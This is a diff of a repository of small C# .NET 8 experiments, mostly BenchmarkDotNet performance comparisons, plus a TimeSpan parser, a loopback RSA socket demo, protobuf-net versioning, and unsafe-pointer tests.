[Benchmark]
public string String_Concat()
{
return string.Concat(_string1, _string2, _string3);
}
[Benchmark]
public string StringBuilder()
{
return new StringBuilder().Append(_string1).Append(_string2).Append(_string3).ToString();
}
[Benchmark]
public string Interpolation()
{
return $"{_string1}{_string2}{_string3}";
}
[Benchmark]
public string String_Format()
{
return string.Format("{0}{1}{2}", _string1, _string2, _string3);
}
}

View File

@ -0,0 +1,14 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="BenchmarkDotNet" Version="0.13.12"/>
</ItemGroup>
</Project>

View File

@ -0,0 +1,41 @@
using System.Text;
using BenchmarkDotNet.Attributes;
using BenchmarkDotNet.Running;
BenchmarkRunner.Run<ConcatVsStringBuilderBenchmarks>();
[SimpleJob, MemoryDiagnoser(false)]
public class ConcatVsStringBuilderBenchmarks
{
private int _count;
private string _string;
[GlobalSetup]
public void Setup()
{
_count = 100;
_string = "Hello World";
}
[Benchmark]
public string PlusOperator()
{
var result = "";
for (var i = 0; i < _count; i++)
result += _string;
return result;
}
[Benchmark]
public string StringBuilder()
{
var result = new StringBuilder();
for (var i = 0; i < _count; i++)
result.Append(_string);
return result.ToString();
}
}

View File

@ -0,0 +1,15 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E008_X10D_ToGetParametersBenchmarks</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="BenchmarkDotNet" Version="0.13.12"/>
</ItemGroup>
</Project>

View File

@ -0,0 +1,50 @@
using System.Web;
using BenchmarkDotNet.Attributes;
using BenchmarkDotNet.Running;
BenchmarkRunner.Run<X10DToGetParametersBenchmarks>();
[SimpleJob, MemoryDiagnoser(false)]
public class X10DToGetParametersBenchmarks
{
public Dictionary<string, int> Dictionary { get; } = new();
[GlobalSetup]
public void Setup()
{
for (var index = 0; index < 26; index++)
Dictionary.Add(('a' + index).ToString(), index);
}
[Benchmark]
public string List()
{
static string Sanitize<TKey, TValue>(KeyValuePair<TKey, TValue> pair) where TKey : notnull
{
string key = HttpUtility.UrlEncode(pair.Key.ToString())!;
string? value = HttpUtility.UrlEncode(pair.Value?.ToString());
return $"{key}={value}";
}
var list = new List<string>();
foreach (var pair in Dictionary)
{
list.Add(Sanitize(pair));
}
return string.Join('&', list);
}
[Benchmark]
public string Linq()
{
static string Sanitize<TKey, TValue>(KeyValuePair<TKey, TValue> pair) where TKey : notnull
{
string key = HttpUtility.UrlEncode(pair.Key.ToString())!;
string? value = HttpUtility.UrlEncode(pair.Value?.ToString());
return $"{key}={value}";
}
return string.Join('&', Dictionary.Select(Sanitize));
}
}

View File

@ -0,0 +1,15 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E009_TimeSpanParser</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="Humanizer.Core" Version="2.14.1"/>
</ItemGroup>
</Project>

View File

@ -0,0 +1,69 @@
using Humanizer;
using Humanizer.Localisation;
Console.WriteLine(Parse("2y").Humanize(10, true, minUnit: TimeUnit.Second, maxUnit: TimeUnit.Year));
Console.WriteLine(Parse("2m").Humanize(10, true, minUnit: TimeUnit.Second, maxUnit: TimeUnit.Year));
Console.WriteLine(Parse("2mo").Humanize(10, true, minUnit: TimeUnit.Second, maxUnit: TimeUnit.Year));
Console.WriteLine(Parse("1y2mo3m").Humanize(10, true, minUnit: TimeUnit.Second, maxUnit: TimeUnit.Year));
Console.WriteLine(Parse("3d").Humanize(10, true, minUnit: TimeUnit.Second, maxUnit: TimeUnit.Year));
Console.WriteLine(Parse("1y1mo1w1d1h1m1s").Humanize(10, true, minUnit: TimeUnit.Second, maxUnit: TimeUnit.Year));
return;
static TimeSpan Parse(string value)
{
TimeSpan result = TimeSpan.Zero;
var unitValue = 0;
for (var index = 0; index < value.Length; index++)
{
char current = value[index];
switch (current)
{
case var digitChar when char.IsDigit(digitChar):
var digit = (int)char.GetNumericValue(digitChar);
unitValue = unitValue * 10 + digit;
break;
case 'y':
result += TimeSpan.FromDays(unitValue * 365);
unitValue = 0;
break;
case 'm':
if (index < value.Length - 1 && value[index + 1] == 'o')
{
index++;
result += TimeSpan.FromDays(unitValue * 30);
}
else
{
result += TimeSpan.FromMinutes(unitValue);
}
unitValue = 0;
break;
case 'w':
result += TimeSpan.FromDays(unitValue * 7);
unitValue = 0;
break;
case 'd':
result += TimeSpan.FromDays(unitValue);
unitValue = 0;
break;
case 'h':
result += TimeSpan.FromHours(unitValue);
unitValue = 0;
break;
case 's':
result += TimeSpan.FromSeconds(unitValue);
unitValue = 0;
break;
}
}
return result;
}

View File

@ -0,0 +1,11 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E010_ThreadTest</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
</Project>

View File

@ -0,0 +1,20 @@
using System.Timers;
using Timer = System.Timers.Timer;
var timer = new Timer
{
Interval = 1000,
Enabled = true
};
timer.Elapsed += TimerOnElapsed;
Console.WriteLine($"Calling start in thread {Environment.CurrentManagedThreadId}");
timer.Start();
Console.ReadLine();
static void TimerOnElapsed(object? sender, ElapsedEventArgs e)
{
(sender as Timer)?.Stop();
Console.WriteLine($"Elapsed raised in thread {Environment.CurrentManagedThreadId}");
}

View File

@ -0,0 +1,15 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E011_SpacedIntBenchmarks</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="BenchmarkDotNet" Version="0.13.12"/>
</ItemGroup>
</Project>

View File

@ -0,0 +1,36 @@
using System.Text;
using BenchmarkDotNet.Attributes;
using BenchmarkDotNet.Running;
BenchmarkRunner.Run<SpacedIntBenchmarks>();
[SimpleJob, MemoryDiagnoser(false)]
public class SpacedIntBenchmarks
{
private const int Value = 12345689;
[Benchmark]
[Arguments(Value)]
public string SelectWithConcat(int value)
{
return string.Concat(value.ToString().Select(digit => $"{digit} "));
}
[Benchmark]
[Arguments(Value)]
public string DivisionWithBuilder(int value)
{
var builder = new StringBuilder();
while (value > 0)
{
int digit = value - (value / 10 * 10);
builder.Insert(0, digit);
builder.Insert(1, ' ');
value /= 10;
}
return builder.ToString();
}
}

View File

@ -0,0 +1,11 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E012_SourceGeneratorDummy</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
</Project>

View File

@ -0,0 +1,53 @@
using System.Reflection;
using System.Text;
Type[] s_types = Type.EmptyTypes;
Init();
var source = new StringBuilder();
using var writer = new StringWriter(source);
foreach (Type type in s_types)
{
writer.WriteLine("// This file was generated by X10D.");
writer.WriteLine("// Do not edit it manually.");
writer.WriteLine();
writer.WriteLine("namespace X10D");
writer.WriteLine();
writer.WriteLine("public static partial class EnumerableExtensions");
writer.WriteLine("{");
writer.WriteLine(" /// <summary>");
writer.WriteLine($" /// Computes the product of a sequence of <see cref=\"{type.FullName}\" /> values.");
writer.WriteLine(" /// </summary>");
writer.WriteLine(
$" /// <param name=\"source\">The sequence of <see cref=\"{type.FullName}\" /> values that are used to calculate the product.</param>");
writer.WriteLine(" /// <returns>The product of the values in the sequence.</returns>");
if (type.GetCustomAttribute<CLSCompliantAttribute>() is { } compliant)
writer.WriteLine($" [CLSCompliant({compliant.IsCompliant.ToString().ToLower()})]");
writer.WriteLine($" public static {type.FullName} Product(this IEnumerable<{type.FullName}> source)");
writer.WriteLine(" {");
writer.WriteLine(" if (source is null)");
writer.WriteLine(" throw new ArgumentNullException(nameof(source));");
writer.WriteLine();
writer.WriteLine(" var result = 1m;");
writer.WriteLine();
writer.WriteLine(" foreach (var item in source)");
writer.WriteLine(" result *= item;");
writer.WriteLine();
writer.WriteLine(" return result;");
writer.WriteLine(" }");
writer.WriteLine("}");
}
return;
void Init()
{
s_types = new[]
{
typeof(int), typeof(uint)
};
}

View File

@ -0,0 +1,117 @@
using System.Text;
namespace E012_SourceGeneratorDummy;
/// <summary>
/// Represents a reader that can read a <see cref="StringBuilder" />.
/// </summary>
public class StringBuilderReader : TextReader
{
private readonly StringBuilder _stringBuilder;
private int _index;
/// <summary>
/// Initializes a new instance of the <see cref="StringBuilderReader" /> class.
/// </summary>
/// <param name="stringBuilder">The <see cref="StringBuilder" /> to wrap.</param>
/// <exception cref="ArgumentNullException"><paramref name="stringBuilder" /> is <see langword="null" />.</exception>
public StringBuilderReader(StringBuilder stringBuilder)
{
_stringBuilder = stringBuilder ?? throw new ArgumentNullException(nameof(stringBuilder));
}
/// <inheritdoc />
public override int Read()
{
if (_index >= _stringBuilder.Length)
return -1;
return _stringBuilder[_index++];
}
/// <inheritdoc />
public override int Read(char[] buffer, int index, int count)
{
if (buffer is null)
throw new ArgumentNullException(nameof(buffer));
if (index < 0)
throw new ArgumentOutOfRangeException(nameof(index));
if (count < 0)
throw new ArgumentOutOfRangeException(nameof(count));
if (buffer.Length - index < count)
throw new ArgumentException("The buffer is too small.", nameof(buffer));
if (_index >= _stringBuilder.Length)
return -1;
int length = Math.Min(_stringBuilder.Length - _index, count);
_stringBuilder.CopyTo(_index, buffer, index, length);
_index += length;
return length;
}
/// <inheritdoc />
public override int Read(Span<char> buffer)
{
int count = Math.Min(buffer.Length, _stringBuilder.Length - _index);
for (var index = 0; index < count; index++)
buffer[index] = _stringBuilder[index + _index];
_index += count;
return count;
}
/// <inheritdoc />
public override int ReadBlock(Span<char> buffer)
{
return Read(buffer);
}
/// <inheritdoc />
public override int Peek()
{
if (_index >= _stringBuilder.Length)
return -1;
return _stringBuilder[_index];
}
/// <inheritdoc />
public override int ReadBlock(char[] buffer, int index, int count)
{
if (_index >= _stringBuilder.Length)
return -1;
int length = Math.Min(count, _stringBuilder.Length - _index);
_stringBuilder.CopyTo(_index, buffer, index, length);
_index += length;
return length;
}
/// <inheritdoc />
public override string? ReadLine()
{
if (_index >= _stringBuilder.Length)
return null;
int start = _index;
while (_index < _stringBuilder.Length && _stringBuilder[_index] != '\n')
_index++;
if (_index < _stringBuilder.Length)
_index++;
return _stringBuilder.ToString(start, _index - start - 1);
}
/// <inheritdoc />
public override string ReadToEnd()
{
return _stringBuilder.ToString();
}
/// <inheritdoc />
public override void Close()
{
_index = _stringBuilder.Length;
}
}

View File

@ -0,0 +1,11 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E013_ServerClient</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
</Project>

View File

@ -0,0 +1,66 @@
using System.Net;
using System.Net.Sockets;
using System.Security.Cryptography;
using System.Text;
new Thread(ServerWorker).Start();
new Thread(ClientWorker).Start();
return;
static void ClientWorker()
{
using var socket = new Socket(SocketType.Stream, ProtocolType.Tcp);
socket.Connect(new IPEndPoint(IPAddress.Loopback, 1234));
using var stream = new NetworkStream(socket);
// read public key from server
using var reader = new BinaryReader(stream);
using var writer = new BinaryWriter(stream);
using var rsa = new RSACryptoServiceProvider(2048);
rsa.ImportParameters(new RSAParameters
{
Modulus = reader.ReadBytes(reader.ReadInt32()),
Exponent = reader.ReadBytes(reader.ReadInt32())
});
while (Console.ReadLine() is { } line)
{
// encrypt line and send to server
byte[] encrypted = rsa.Encrypt(Encoding.UTF8.GetBytes(line), RSAEncryptionPadding.OaepSHA1);
writer.Write(encrypted.Length);
writer.Write(encrypted);
}
}
static void ServerWorker()
{
using var socket = new Socket(SocketType.Stream, ProtocolType.Tcp);
socket.Bind(new IPEndPoint(IPAddress.Any, 1234));
socket.Listen(1);
// generate RSA key pair
using var rsa = new RSACryptoServiceProvider(2048);
RSAParameters publicKey = rsa.ExportParameters(false);
// accept client socket
using Socket client = socket.Accept();
using var stream = new NetworkStream(client);
// write public key
using var writer = new BinaryWriter(stream);
writer.Write(publicKey.Modulus!.Length);
writer.Write(publicKey.Modulus);
writer.Write(publicKey.Exponent!.Length);
writer.Write(publicKey.Exponent);
while (true)
{
// read encrypted line from client
using var reader = new BinaryReader(new NetworkStream(client));
int length = reader.ReadInt32();
byte[] encrypted = reader.ReadBytes(length);
byte[] decrypted = rsa.Decrypt(encrypted, RSAEncryptionPadding.OaepSHA1);
Console.WriteLine($"Client sent: {Encoding.UTF8.GetString(decrypted)}");
}
}

View File

@ -0,0 +1,15 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E014_RemoveAllBenchmarks</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="BenchmarkDotNet" Version="0.13.12"/>
</ItemGroup>
</Project>

View File

@ -0,0 +1,43 @@
using BenchmarkDotNet.Attributes;
using BenchmarkDotNet.Running;
BenchmarkRunner.Run<RemoveAllBenchmarks>();
[SimpleJob, MemoryDiagnoser(false)]
public class RemoveAllBenchmarks
{
private readonly List<string?> _list = new();
[GlobalSetup]
public void Setup()
{
for (var iterator = 0; iterator < 100; iterator++)
_list.Add(iterator % 2 == 0 ? null : string.Empty);
}
[Benchmark]
public void RemoveAll()
{
_list.RemoveAll(x => x is null);
}
[Benchmark]
public void ForLoop()
{
for (var index = 0; index < _list.Count; index++)
{
if (_list[index] is null)
_list.RemoveAt(index--);
}
}
[Benchmark]
public void ReverseForLoop()
{
for (var index = _list.Count - 1; index >= 0; index--)
{
if (_list[index] is null)
_list.RemoveAt(index);
}
}
}

View File

@ -0,0 +1,15 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E015_RegexVsCustomAttributeParser</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="BenchmarkDotNet" Version="0.13.12"/>
</ItemGroup>
</Project>

View File

@ -0,0 +1,69 @@
using System.Text.RegularExpressions;
using BenchmarkDotNet.Running;
using E015_RegexVsCustomAttributeParser;
Regex regex = new(@"^\[[A-Z_][A-Z0-9_]+(\(([0-9]+)\))?\]$", RegexOptions.Compiled | RegexOptions.IgnoreCase);
Console.WriteLine(UsingRegex("[UseResources]"));
Console.WriteLine(UsingRegex("[UseResources(42)]"));
Console.WriteLine(UsingRegex("[UseResources(420)]"));
Console.WriteLine(UsingRegex("[UseResources(4200)]"));
Console.WriteLine(UsingCustomParser("[UseResources]"));
Console.WriteLine(UsingCustomParser("[UseResources(42)]"));
Console.WriteLine(UsingCustomParser("[UseResources(420)]"));
Console.WriteLine(UsingCustomParser("[UseResources(4200)]"));
BenchmarkRunner.Run<RegexVsCustomAttributeParser>();
return;
int UsingRegex(string input)
{
Match match = regex.Match(input);
if (!match.Success) return 0;
if (match.Groups.Count < 3) return 0;
Group argumentsGroup = match.Groups[1];
Group firstArgumentGroup = match.Groups[2];
if (!argumentsGroup.Success || !firstArgumentGroup.Success) return 0;
return int.TryParse(firstArgumentGroup.ValueSpan, out int result) ? result : 0;
}
static int UsingCustomParser(string input)
{
ReadOnlySpan<char> span = input.AsSpan();
if (span[0] != '[' || span[^1] != ']') return 0;
var argumentList = false;
var result = 0;
for (var index = 1; index < span.Length - 1; index++)
{
char current = span[index];
if (current == '(')
{
if (argumentList) return 0;
argumentList = true;
continue;
}
if (current == ')')
{
if (!argumentList) return 0;
argumentList = false;
continue;
}
if (argumentList)
{
if (current is < '0' or > '9') return 0;
int numericValue = current - '0';
result = result * 10 + numericValue;
}
}
return result;
}

View File

@ -0,0 +1,116 @@
using System.Text.RegularExpressions;
using BenchmarkDotNet.Attributes;
namespace E015_RegexVsCustomAttributeParser;
[SimpleJob, MemoryDiagnoser(false)]
public class RegexVsCustomAttributeParser
{
private Regex _regex;
[GlobalSetup]
public void Setup()
{
_regex = new Regex(@"^\[[A-Z_][A-Z0-9_]+(\(([0-9]+)\))?\]$", RegexOptions.Compiled | RegexOptions.IgnoreCase);
}
[Benchmark]
[Arguments("[UseResources]")]
[Arguments("[UseResources(42)]")]
[Arguments("[UseResources(420)]")]
[Arguments("[UseResources(4200)]")]
public int Regex(string input)
{
Match match = _regex.Match(input);
if (!match.Success) return 0;
if (match.Groups.Count < 3) return 0;
Group argumentsGroup = match.Groups[1];
Group firstArgumentGroup = match.Groups[2];
if (!argumentsGroup.Success || !firstArgumentGroup.Success) return 0;
return int.TryParse(firstArgumentGroup.ValueSpan, out int result) ? result : 0;
}
/*[Benchmark]
[Arguments("[UseResources]")]
[Arguments("[UseResources(42)]")]
[Arguments("[UseResources(420)]")]
[Arguments("[UseResources(4200)]")]
public int CustomParser_GetNumericValue(string input)
{
if (input[0] != '[' || input[^1] != ']') return 0;
var argumentList = false;
var result = 0;
for (var index = 1; index < input.Length - 1; index++)
{
char current = input[index];
if (current == '(')
{
if (argumentList) return 0;
argumentList = true;
continue;
}
if (current == ')')
{
if (!argumentList) return 0;
argumentList = false;
continue;
}
if (argumentList)
{
if (!char.IsDigit(current)) return 0;
var numericValue = (int) char.GetNumericValue(current);
result = result * 10 + numericValue;
}
}
return result;
}*/
[Benchmark]
[Arguments("[UseResources]")]
[Arguments("[UseResources(42)]")]
[Arguments("[UseResources(420)]")]
[Arguments("[UseResources(4200)]")]
public int CustomParser(string input)
{
if (input[0] != '[' || input[^1] != ']') return 0;
var argumentList = false;
var result = 0;
for (var index = 1; index < input.Length - 1; index++)
{
char current = input[index];
if (current == '(')
{
if (argumentList) return 0;
argumentList = true;
continue;
}
if (current == ')')
{
if (!argumentList) return 0;
argumentList = false;
continue;
}
if (argumentList)
{
if (current is < '0' or > '9') return 0;
int numericValue = current - '0';
result = result * 10 + numericValue;
}
}
return result;
}
}

View File

@ -0,0 +1,12 @@
using System.Text.RegularExpressions;
public class RegexVsCustomParserTest
{
private static readonly Regex Regex = new(@"^\[[A-Z_][A-Z0-9_]+(\(([0-9]+)\))?\]$",
RegexOptions.Compiled | RegexOptions.IgnoreCase);
private static void Main()
{
}
}

View File

@ -0,0 +1,15 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E016_ProtoBufExtendedModel</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="protobuf-net" Version="3.2.30"/>
</ItemGroup>
</Project>

View File

@ -0,0 +1,11 @@
using ProtoBuf;
namespace E016_ProtoBufExtendedModel;
[ProtoContract]
public class ExtendedSaveData
{
[ProtoMember(1)] public int Health { get; set; }
[ProtoMember(2)] public int Score { get; set; } = 50; // default value
}

View File

@ -0,0 +1,52 @@
using E016_ProtoBufExtendedModel;
using ProtoBuf;
const string saveFile = "save.dat";
{
Console.WriteLine("Writing old model...");
Save(new SaveData { Health = 100 });
Console.WriteLine("Reading old model...");
var saveData = Load<SaveData>();
Console.WriteLine($"Health is {saveData.Health}");
}
Console.WriteLine(BitConverter.ToString(File.ReadAllBytes(saveFile)));
Console.WriteLine("---");
{
Console.WriteLine("Reading old data to new model...");
var saveData = Load<ExtendedSaveData>();
Console.WriteLine($"Health is {saveData.Health}");
Console.WriteLine($"Score is {saveData.Score}"); // should be 50, the default
saveData.Score = 100; // increase data
Console.WriteLine("Writing new model...");
Save(saveData);
}
Console.WriteLine(BitConverter.ToString(File.ReadAllBytes(saveFile)));
Console.WriteLine("---");
{
Console.WriteLine("Reading new model...");
var saveData = Load<ExtendedSaveData>();
Console.WriteLine($"New loaded health is {saveData.Health}");
Console.WriteLine($"New loaded score is {saveData.Score}");
}
Console.WriteLine(BitConverter.ToString(File.ReadAllBytes(saveFile)));
return;
T Load<T>()
{
using FileStream stream = File.OpenRead(saveFile);
return Serializer.Deserialize<T>(stream);
}
void Save<T>(T value)
{
using FileStream stream = File.Create(saveFile);
Serializer.Serialize(stream, value);
}

View File

@ -0,0 +1,9 @@
using ProtoBuf;
namespace E016_ProtoBufExtendedModel;
[ProtoContract]
public class SaveData
{
[ProtoMember(1)] public int Health { get; set; }
}

View File

@ -0,0 +1,15 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E017_PowVsManualSquareBenchmarks</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="BenchmarkDotNet" Version="0.13.12"/>
</ItemGroup>
</Project>

View File

@ -0,0 +1,40 @@
using BenchmarkDotNet.Attributes;
using BenchmarkDotNet.Running;
BenchmarkRunner.Run<PowVsManualSquare>();
[SimpleJob]
public class PowVsManualSquare
{
[Benchmark]
[Arguments(1, 2)]
[Arguments(10, 3)]
[Arguments(100, 4)]
public double Pow(double x, int y)
{
return Math.Pow(x, 2);
}
[Benchmark]
[Arguments(1, 2)]
[Arguments(10, 3)]
[Arguments(100, 4)]
public double ForLoop(double x, int y)
{
var result = 1.0;
for (var i = 0; i < y; i++)
result *= x;
return result;
}
[Benchmark]
[Arguments(1)]
[Arguments(10)]
[Arguments(100)]
public double XTimesX(double x)
{
return x * x;
}
}

View File

@ -0,0 +1,11 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E018_OneLineMultiAssignment</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
</Project>

View File

@ -0,0 +1,5 @@
string[] foo;
bool ready = (foo = ["1", "2"]).Length <= int.MaxValue;
Console.WriteLine(ready);
Console.WriteLine(string.Join(", ", foo));

View File

@ -0,0 +1,11 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E019_NullStringTest</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
</Project>

View File

@ -0,0 +1,16 @@
var upArrow = ((char)0x18).ToString();
var downArrow = ((char)0x19).ToString();
var rightArrow = ((char)0x1A).ToString();
var leftArrow = ((char)0x1B).ToString();
while (true)
{
Console.Write("Input: ");
string? input = Console.ReadLine();
if (input == upArrow) Console.WriteLine("Up arrow");
else if (input == downArrow) Console.WriteLine("Down arrow");
else if (input == rightArrow) Console.WriteLine("Right arrow");
else if (input == leftArrow) Console.WriteLine("Left arrow");
else if (input is null) Console.WriteLine("Null");
}

View File

@ -0,0 +1,12 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E020_NestedStructPointer</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
</PropertyGroup>
</Project>

View File

@ -0,0 +1,31 @@
unsafe
{
A a = new();
a.a->i = 1;
Console.WriteLine(a.i);
Console.WriteLine(a.a->i);
A b = new();
b.a->i = 1;
Console.WriteLine(b.i);
Console.WriteLine(b.a->i);
b.i = 2;
}
unsafe struct A
{
public A()
{
// ReSharper disable once LocalVariableHidesMember
fixed (A* a = &this)
{
this.a = a;
}
i = 0;
}
public A* a;
public int i;
}

View File

@ -0,0 +1,11 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E021_Nearest5MinuteDateTime</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
</Project>

View File

@ -0,0 +1,6 @@
DateTime now = DateTime.Now;
double minutes = Math.Round((now.Hour * 60 + now.Minute) / 5.0) * 5.0;
DateTime nearest5Minute = DateTime.Today + TimeSpan.FromMinutes(minutes);
Console.WriteLine($"The current time is {now}");
Console.WriteLine($"The closest 5-minute marker is {nearest5Minute}");

View File

@ -0,0 +1,12 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E022_ModifyReadonly</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
</PropertyGroup>
</Project>

View File

@ -0,0 +1,22 @@
var foo = new Foo(42);
Console.WriteLine(foo.X);
foo.ChangeX(69);
Console.WriteLine(foo.X);
public struct Foo
{
public readonly int X;
public Foo(int x)
{
X = x;
}
public readonly unsafe void ChangeX(int newValue)
{
fixed (int* ptr = &X)
{
*ptr = newValue;
}
}
}

View File

@ -0,0 +1,15 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E023_MathEstimateBenchmarks</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="BenchmarkDotNet" Version="0.13.12"/>
</ItemGroup>
</Project>

View File

@ -0,0 +1,20 @@
using BenchmarkDotNet.Attributes;
using BenchmarkDotNet.Running;
BenchmarkRunner.Run<MathEstimateBenchmarks>();
[SimpleJob, MemoryDiagnoser(false)]
public class MathEstimateBenchmarks
{
[Benchmark, Arguments(10)]
public double OneOverX(double x) => 1.0 / x;
[Benchmark, Arguments(10)]
public double ReciprocalEstimate(double x) => Math.ReciprocalEstimate(x);
[Benchmark, Arguments(10)]
public double OneOverSqrtX(double x) => 1.0 / Math.Sqrt(x);
[Benchmark, Arguments(10)]
public double ReciprocalSqrtEstimate(double x) => Math.ReciprocalSqrtEstimate(x);
}

View File

@ -0,0 +1,11 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E024_Foreach</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
</Project>

View File

@ -0,0 +1,16 @@
foreach (int i in new CountTo(10))
{
Console.WriteLine(i);
}
public readonly struct CountTo(int max)
{
public CountToEnumerator GetEnumerator() => new(max);
public struct CountToEnumerator(int max)
{
public int Current { get; private set; } = 0;
public bool MoveNext() => Current++ < max;
}
}

View File

@ -0,0 +1,11 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E025_FirstOrDefaultStruct</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
</Project>

View File

@ -0,0 +1,10 @@
var array = new SomeStruct[500];
array[100] = new SomeStruct {x = 42};
SomeStruct first = array.FirstOrDefault(item => !item.Equals(new SomeStruct()));
Console.WriteLine(first.x);
struct SomeStruct
{
public int x;
}

View File

@ -0,0 +1,15 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E026_DictionaryBenchmarks</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="BenchmarkDotNet" Version="0.13.12"/>
</ItemGroup>
</Project>

View File

@ -0,0 +1,27 @@
using BenchmarkDotNet.Attributes;
using BenchmarkDotNet.Running;
BenchmarkRunner.Run<DictionaryBenchmarks>();
[SimpleJob]
public class DictionaryBenchmarks
{
public IEnumerable<int> Sizes => new[] { 10, 100, 1000, 10000, 100000, 1000000 };
[Benchmark]
[ArgumentsSource(nameof(Sizes))]
public void Get(int size)
{
var dict = new Dictionary<int, int>();
for (var i = 0; i < size; i++)
{
dict[i] = i;
}
var n = 0;
for (var i = 0; i < size; i++)
{
n = dict[i];
}
}
}

View File

@ -0,0 +1,17 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E027_ConfigurationBenchmarks</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="BenchmarkDotNet" Version="0.13.12"/>
<PackageReference Include="Microsoft.Extensions.Configuration" Version="8.0.0"/>
<PackageReference Include="Microsoft.Extensions.Configuration.Json" Version="8.0.0"/>
</ItemGroup>
</Project>

View File

@ -0,0 +1,41 @@
using System.Text;
